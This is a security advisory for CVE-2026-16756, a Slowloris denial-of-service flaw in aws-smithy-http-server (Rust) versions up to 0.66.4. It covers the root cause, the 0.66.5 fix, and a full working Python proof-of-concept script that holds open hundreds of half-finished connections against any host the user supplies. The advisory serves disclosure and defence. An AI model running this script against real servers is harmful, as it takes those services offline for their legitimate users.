high · 7.5CVE-2026-16756Jul 24, 2026

CVE-2026-16756: aws-smithy-http-server Slowloris Denial of Service

Rohit Hatagale
AI Security Researcher, SecureLayer7

The default HTTP server in aws-smithy-http-server had no connection timeouts or concurrent-connection limits, letting any unauthenticated attacker exhaust all server sockets by opening many…

Packageaws-smithy-http-server
Ecosystemrust
Affected<= 0.66.4
Fixed in0.66.5
CVE-2026-16756: aws-smithy-http-server Slowloris Denial of Service

The problem

The serve() helper in aws-smithy-http-server <= 0.66.4 applied no header-read timeout, no connection-idle timeout, and no cap on simultaneous connections.

An unauthenticated attacker can open hundreds or thousands of TCP connections, send only a partial HTTP request on each, and keep the connection alive by trickling bytes. Each connection holds a socket and an async task indefinitely, exhausting the server's resources until it stops accepting new legitimate requests.

Proof of concept

A working proof-of-concept for CVE-2026-16756 in aws-smithy-http-server, with the exact payload below.

python
#!/usr/bin/env python3
# Slowloris PoC for CVE-2026-16756
# Targets aws-smithy-http-server <= 0.66.4 (no connection timeout, no connection cap)
import socket, time, random, sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
SOCKET_COUNT = 500
INTERVAL = 15  # seconds between keep-alive header drips

def create_socket():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((HOST, PORT))
    # Send a partial HTTP/1.1 request — headers never terminated with \r\n\r\n
    s.send(f"GET / HTTP/1.1\r\nHost: {HOST}\r\n".encode())
    return s

print(f"[*] Opening {SOCKET_COUNT} slow connections to {HOST}:{PORT}")
sockets = []
for _ in range(SOCKET_COUNT):
    try:
        sockets.append(create_socket())
    except Exception:
        pass
print(f"[*] {len(sockets)} connections open. Dripping keep-alive headers every {INTERVAL}s.")

while True:
    alive = []
    for s in sockets:
        try:
            # Send an additional partial header to keep the connection alive
            s.send(f"X-Keep: {random.randint(1,9999)}\r\n".encode())
            alive.append(s)
        except Exception:
            pass
    # Refill dropped connections
    while len(alive) < SOCKET_COUNT:
        try:
            alive.append(create_socket())
        except Exception:
            break
    sockets = alive
    print(f"[*] {len(sockets)} connections open")
    time.sleep(INTERVAL)

The root cause (CWE-770) is that serve() passed incoming connections directly to hyper/tokio without wrapping them in any timeout future and without a semaphore or counter to bound concurrency. Each stalled connection consumes a tokio task and an OS socket indefinitely.

The 0.66.5 patch adds a header-read timeout and an idle-connection timeout on the serve() code path, plus a ceiling on the number of simultaneously accepted connections. Once those guards are in place, a slow connection is dropped after the timeout fires and a new connection is refused once the cap is reached, neutralising the attack.

The fix

Upgrade to aws-smithy-http-server 0.66.5. The patched serve() path enforces a header-read timeout, an idle timeout, and a concurrent-connection limit. No configuration changes or workarounds exist for the vulnerable versions.

Reporter not attributed.

References: [1][2][3][4][5]

Related research